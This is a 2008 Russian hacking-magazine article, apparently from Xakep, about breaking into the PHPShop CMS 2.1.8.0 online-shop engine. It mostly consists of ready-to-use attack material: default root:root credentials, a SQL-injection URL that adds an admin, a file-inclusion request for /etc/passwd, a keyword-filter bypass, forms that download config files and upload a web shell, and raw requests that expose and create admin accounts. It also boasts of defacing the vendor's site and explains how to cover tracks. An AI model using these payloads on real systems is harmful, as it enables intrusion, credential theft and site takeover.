Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #114, ИЮНЬ 2008 г.

Eshop под ударом

Elekt (www.antichat.ru)

Хакер, номер #114, стр. 058


Жесткий пентестинг популярного движка

На фоне примитивных эксплойтов под малоизвестные проекты хакерам становится неинтересно, да и не престижно, ковырять откровенно пионерский код топорных движков. Матерых взломщиков тянет на подвиги. Ведь, согласись, если программист уже подумал о нашем брате и предпринял должные меры – но все равно ты умудряешься пролезть туда, куда не надо, – это совсем другое дело! Это, мой друг, и есть настоящий хакинг. За примерами далеко ходить не надо – достаточно прочитать эту статью.

В продолжение историй багов PHP-программирования, для примера и необходимой практики, я постараюсь порвать в клочья сайтовый скрипт CMS-шопа. А заодно слегка подмочить репутацию PCOSA, которой, оказывается, доверяют весьма недурные программисты :).

Вместо предисловия

Холодным декабрьским утром прошлого года мне в асю стукнул старый сетевой знакомый. Он скинул URL, где, возможно, жила и здравствовала Blind SQL-инъекция. Когда я зашел – открылся движок, который представлял собой CMS интернет-магазина «PHPShop CMS» (www.phpshop.ru). Не исключено, что на этом все бы и закончилось, если бы не один маленький нюанс, сыгравший на моем самолюбии. Сайт продукта заявлял о прохождении секурити-теста движка в некой Богом забытой конторе (pcosa.ru). Этого оказалось вполне достаточно для мотивации. Решено было провести так называемое «независимое тестирование» 2.1.8.0 версии этого движка.

В недобрый путь!

Баги не заставили себя долго ждать. На первой же странице установки стало ясно: здесь будет, что раскопать. Хотя бы потому, что одно из обязательных условий работы скрипта – взведенный режим «register_globals=ON»! Эта директива таит в себе уйму потенциальных багов и строить безопасное приложение на ее основе крайне не рекомендуется. А значит, мы можем заставить скрипт не просто работать, а работать на нас.

Во время установки продукта меня даже не спросили пароль администратора, из чего можно было предположить, что существует дефолтная связка «логин:пароль». Инсталлятор не давал никакого ответа на этот вопрос, посему мне пришлось слазить в установочный sql-дамп:

INSERT INTO `phpshop_users` VALUES (1, 0, 'root', 'cm9vdA==', 'mail@phpshop.ru', 1);

Как видишь, мы имеем аутентификационную связку «root:root» (никакой фантазии у разработчика, – прим. Forb). Собрать список сайтов с этим движком не составило труда – на официальном сайте гордо красовался раздел «Наши клиенты». Позже выяснилось – около трети администраторов не удосужились изменить пароль. К тому же, криптостойкость паролей оставляет желать лучшего и завязана лишь на алгоритме base64. Не просто небрежное отношение к безопасности, а прямо-таки плевок в сторону криптографии и Брюса Шнаера, в частности!

Сразу после установки движка и исследования дампа я проверил одну из самых распространенных ошибок при создании инсталлятора – его самоудаление. Конечно же, оно отсутствовало. Почему это важно? Дело в том, что инсталлятор если и не удаляется, то хотя бы блокируется, занося специальную пометку в БД, в конфиг, какой-либо файл и т.п. Но в некоторых случаях можно, так или иначе, обмануть проверку, переставив движок заново и войдя в систему под дефолтным/указанным при инсталляции пароле. Либо, используя уязвимость записи данных в конфиг, можно вписать в него произвольный php-код и получить веб-шелл. Обычно это имеет смысл, когда хакера не интересует содержание БД сайта; он преследует иные цели и заранее знает, как залить шелл, укладывая заботы по реанимации сайта на плечи админа.

В нашем случае получается полный суповой набор - пациента проще пристрелить, чем лечить. Во-первых, в папке конфига лежит phpinfo(), доступный любому желающему:

/install/rewritemodtest/rewritemodtest.php

Во-вторых, скрипт инсталляции уязвим к SQL-инъекции. При register_globals=ON хакер может определить неопределенную переменную «CsvContent» и выполнить любую SQL-команду!

/install/install.php?install=2&CsvContent=INSERT%20INTO%20phpshop_users

%20VALUES%20(666,0,0x726f6f74,0x636d397664413d3d,0x726f6f74,1);%0A2

Так мы добавляем нового пользователя «root» c паролем «root».

Код /install/install.php уязвимый к SQL-inj:

if(@$install == 2){

........

$IdsArray2=split(";\n",$CsvContent);

array_pop($IdsArray2);

while (list($key, $val) = each($IdsArray2))

$result=mysql_query($val);

В-третих, скрипт апдейта версии уязвим к локальному инклуду посредством переопределения переменных через extract():

/install/update/install.php?SysValue[file][error]=../../../etc/passwd

Код /install/update/install.php уязвимый к [LFI]

$SysValue=parse_ini_file("../../phpshop/inc/config.ini",1);

…..

@extract($_GET);

@extract($_POST);

@extract($_FORM);

@extract($_FILES);

…...

include("../../".$SysValue['file']['error']);

Между делом я поинтересовался алгоритмом генерации capcha-кода, призванного защищать новостные комменты от флудерастов. В реализациях многих публичных алгоритмов содержатся ошибки, позволяющие боту прикинуться живым человеком. А ты думаешь, откуда берутся всякие скрипты для посылки халявных SMS?

session_start();

$text=substr(md5(session_id()),0,5);

Быстро стало ясным, что такой тест Тьюринга обойти просто, как два байта. Значение session_id() поступает напрямую в COOKIE: PHPSESSID=session_id , откуда бот его без труда сграбит и, сгенерировав валидный ответ, превратит новостные комменты в настоящий модераторский ад.

Спустя некоторое время после просмотра исходников я наткнулся на «защиту» от возможных SQL-injection. Следующий кусок кода вызвал не просто улыбку, а приступ дикого смеха:

// Secure Fix 3.0

function RequestSearch($search){

$search=eregi_replace("union","",$search);

$search=eregi_replace("select","",$search);

$search=eregi_replace("insert","",$search);

$search=eregi_replace("update","",$search);

$search=eregi_replace("delete","",$search);

return $search;

}

Дело в том, что из-за отсутствия рекурсии такой подход бесполезен. «Вредные» операторы вырезаются однократно, а значит, мы можем вложить один оператор в другой и, в результате, получить на выходе из фильтра валидный query:

Antichat’ uniunionon selselectect 1,2,3,4 from table_name/*

Настало время десерта, то есть SQL! Все файлы движка, кроме индексного, были не зазендены.

Пропустив index.php через дезендер, я получил довольно корявый, но удобочитаемый листинг. Впечатление портил обфусцированый вид некоторых переменных (видимо, программисты прошлись по ним для страховки). Но не суть, главное, что изучение исходника дало возможность отследить вызов и передачу параметров уязвимым функциям и накопать нехилую кучку инъекций, работоспособных при magic_quotes=OFF:

/index.php?nav=1&name='[SQL]

/index.php?IDbaner='[SQL]

/index.php?page=meta&nav=page&name='[SQL]

/index.php?page=meta&nav=page&name=news&id='[SQL]

Небольшое отступление: настоятельно рекомендую после установки малоизвестного движка обязательно проверять утилиты, доступные только администратору, на предмет неавторизованного доступа, а также все плагины, библиотеки, расширения и пр. Среди них могут попасться самописные или устаревшие версии, уязвимые к различным атакам либо просто криво настроенные. Например, [adodb_lite] или [fckeditor]. В этот раз мне попался бажный скрипт дампера БД «/phpshop/admpanel/dumper/backup/download.php», читающий любой файл на сервере. Смотри сам:

<?

if(isset($backup)){

require("../../connect.php");

@mysql_connect ("$host", "$user_db", "$pass_db")or @die("Невозможно подсоединиться к базе");

mysql_select_db("$dbase")or @die("Невозможно подсоединиться к базе");

require("../../enter_to_admin.php");

header('Content-Type: application/force-download');

header('Content-Disposition: attachment; filename="'.$backup.'"');

header('Content-Length: '.filesize($backup));

readfile($backup);

}

else header("Location ./");

?>

Такой баг проще всего заюзать из браузера через html-форму:

<form action=”http://target.com/phpshop/admpanel/dumper/backup/download.php” method=POST >

<input type=”text” name=”backup” value=”../../../inc/config.ini” size=50>

<input type="submit">

</form>

Погоняв движок в браузере, я обратил внимание на довольно частые редиректы. Значит, в скриптах используется либо много JavaScript, либо «header(‘Location: xxx’)» . Кто читал мою статью «Роковые ошибки PHP v2», помнит, что если после локэйшен не поставить exit() или die(), то php-код продолжит свое выполнение, а браузер проигнорирует контент после редиректа, и внешне все будет выглядеть, как надо. Но используя что-либо помимо браузера, безразличное к значениям в хидере, можно увидеть остаточный контент. Недолго думая, я полез смотреть функцию авторизации:

/phpshop/admpanel/enter_to_admin.php

function BadUser(){

if($this->OkFlag == 0)

header("Location: ./");

}

Налицо тот самый случай. Фактически, при доступе в админку нас пускают, но редирект мешает нам увидеть желанное. Воспользуемся InetCrack’ом или Intruder’ом, чтобы увидеть остаточный контент ответа. Пошлем такой пакет, где id – номер юзверя:

GET /phpshop/admpanel/users/adm_userID.php?id=1 HTTP/1.0

Host: localhost

В ответ мы получим страничку админки, на которой отображен профиль админа с его логином и паролем в base64 (вот где нам пригодился этот чудо-алгоритм). Для полноты картины отснифаем пакет создания нового администратора:

POST http://localhost/phpshop/admpanel/users/adm_users_new.php HTTP/1.0

Host: localhost

Content-Length: 605

Content-Type: multipart/form-data;

boundary=----------mq4IEbqXXtE192f59zkoLw

------------mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="mail_new"

admin@mail.ru

------------mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="status_new"

0

------------mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="enabled_new"

1

------------mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="login_new"

root

------------mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="password_new"

toor

------------mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="editID"

OK

------------mq4IEbqXXtE192f59zkoLw--

Теперь осталось найти надежный способ выполнения произвольного PHP-кода (не считая найденного выше инклуда) и – при должном везении – выгрузку в файл через mysql в случае file_priv=1.

Подробное изучение админки говорило о том, что загрузки файлов, кроме дампов и .csv, вроде как нет. Внимательно покопавшись в плагинах, я обнаружил затерянный [fckeditor], возможности которого явно использовались не до конца. Поможем раскрыть ему свой потенциал! Способностью к загрузке обладает файл connector.php по адресу: /phpshop/admpanel/editor2/editor/filemanager/browser/default/connectors/php/connector.php.

Изучив настройки в конфиге, я осознал, что политика безопасности настроена по принципу «что не запрещено, то разрешено». Это было очень кстати. Единственным препятствием оказались фильтры на расширение:

1: $Config['DeniedExtensions']['File']=array('php','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg') ;

2: $pos=stristr($sFileName, "php");

3: $pos=stristr($sOriginalFileName, "php");

Однако такая проверка весьма сырая и неполная, поскольку есть еще убойные расширения «.phtml» и «.cgi». Для заюзывания этой бреши мне осталось набросать удобную формочку:

<form action="http://localhost/phpshop/admpanel/editor2/editor/filemanager/browser/

default/connectors/php/connector.php?Command=FileUpload&

Type=File&CurrentFolder=./" method=POST enctype="multipart/form-data">

<input type="file" name='NewFile'>

<input type="submit">

</form>

Файлы грузятся в «/UserFiles/File/». Скрипт проводит аутентификацию пользователя, потому надо предварительно войти под админом.

И это все?

На этом аудит можно закончить. Как видишь, были найдены самые разнообразные баги, комбинирование которых позволяет получить права администратора + веб-шелл. Остается только гадать, как все это не было обнаружено при направленной security-проверке, которую проходил двиг. Шутки ради я немного подправил копирайт на официальном сайте. Пару недель на запрос «йа бажный сайтенг :)» он даже вылазил в топ Гугла.

Метры бажного кода не знают конца и границ, впрочем, как и некомпетентность многих программистов в вопросах безопасности своих продуктов. Но если подумать – все вполне логично. Программер специализируется на вопросах компактности, скорости и практической работоспособности своего кода, а не на поиске уязвимых мест, пограничных состояний, утечек памяти и т.п. Привлечение сторонних специалистов – правильный и разумный подход. В конечном итоге это дает высокую качественную составляющую всех показателей продукта. Правда... не в этот раз. В общем, помни – ты всегда можешь заказать мне анализ движка любой сложности.

INFO

Как правило, при переустановке движка БД удаляется или повреждается, поскольку не все инсталляторы способны менять префикс таблиц или создавать новую БД. Обычно требуется заранее создать их через phpmyadmin (до начала установки). Также конфиг может иметь систему автобэкапа, и тогда при создании шелла через запись в конфигурационный файл удастся вернуть прежние настройки без потери данных. Если возможно, то сразу после получения шелла на сервере, хакер, заметая следы, восстановит исходный конфиг, будто бы ничего и не случилось.

По своему опыту могу сказать, что зазенденные скрипты в 90% случаев имеют уязвимости. По двум причинам. Первая – скрипт зендят не для защиты или от кражи, а желая скрыть низкое качество кода. Вторая – зенденный скрипт избегает анализа сорсов другими людьми, а тот, кто его раззендит, не распространяет результаты своих изысканий. Как следствие – наличие скрытых баг, которые, поверь мне, живут очень долго.

Не первый раз замечаю, что если движок красиво выполнен (верстка, дизайн,flash,web2.0), то php-код, наверняка, кривой. И наоборот :).

WWW

Чтобы внести пропаганду реального аудита, привожу несколько ссылок на проверенные компании, которые помогут тебе провести жесткий пентест твоих движков:

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

DVD

Файлы и программы, упоминаемые в статье, ищи на нашем диске.

VIDEO

На диске, прилагаемом к журналу, ты найдешь видео-урок, демонстрирующий основные шаги взломщика.

Содержание